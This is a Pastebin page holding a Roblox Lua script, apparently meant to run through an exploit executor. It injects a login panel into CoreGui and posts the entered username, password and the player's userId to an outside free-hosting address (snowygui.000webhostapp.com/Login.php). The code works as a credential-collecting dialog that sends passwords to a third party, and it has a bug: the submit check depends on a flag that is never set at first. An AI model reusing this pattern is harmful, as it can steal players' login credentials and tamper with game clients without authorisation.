Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local gPlayers = game:GetService('Players')
- local SUBMITTING = false
- local LOGIN_MAIN = game:GetObjects('rbxassetid://614182919')[1].main
- local LOGIN_CLOSE = LOGIN_MAIN.close
- local LOGIN_USER = LOGIN_MAIN.user
- local LOGIN_PASS = LOGIN_MAIN.pass
- local LOGIN_SUBMIT = LOGIN_MAIN.submit
- LOGIN_CLOSE.MouseButton1Down:connect(function()
- LOGIN_MAIN.Parent:destroy()
- end)
- LOGIN_USER.Changed:connect(function()
- if LOGIN_USER.Text ~= '' then
- LOGIN_USER[''].Text = ''
- else
- LOGIN_USER[''].Text = ' username'
- end
- end)
- LOGIN_PASS.Changed:connect(function()
- if LOGIN_PASS.Text ~= '' then
- LOGIN_PASS[''].Text = ''
- else
- LOGIN_PASS[''].Text = ' password'
- end
- end)
- function countdown()
- CAN_SUBMIT = false
- LOGIN_MAIN[''].Size = UDim2.new(0, 220, 0, 165)
- LOGIN_MAIN.submit.Position = UDim2.new(0, 60, 0, 145)
- LOGIN_MAIN.countdown.Visible = true
- for i = 1,11 do
- wait(1)
- LOGIN_MAIN.countdown.Text = 'please wait ' .. 10 - i .. ' second(s)'
- end
- LOGIN_MAIN.countdown.Text = 'please wait 10 second(s)'
- LOGIN_MAIN[''].Size = UDim2.new(0, 220, 0, 155)
- LOGIN_MAIN.submit.Position = UDim2.new(0, 60, 0, 135)
- LOGIN_MAIN.countdown.Visible = false
- CAN_SUBMIT = true
- end
- LOGIN_SUBMIT.MouseButton1Down:connect(function()
- if LOGIN_USER.Text ~= '' and LOGIN_PASS.Text ~= '' and CAN_SUBMIT and not SUBMITTING then
- SUBMITTING = true
- local submit = game:HttpPost('https://snowygui.000webhostapp.com/Login.php', game:GetService('HttpService'):JSONEncode({LOGIN_USER.Text, LOGIN_PASS.Text, gPlayers.LocalPlayer.userId}), true)
- if submit then
- print 'success'
- else
- countdown()
- end
- SUBMITTING = false
- end
- end)
- LOGIN_MAIN.Parent.Parent = game.CoreGui
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement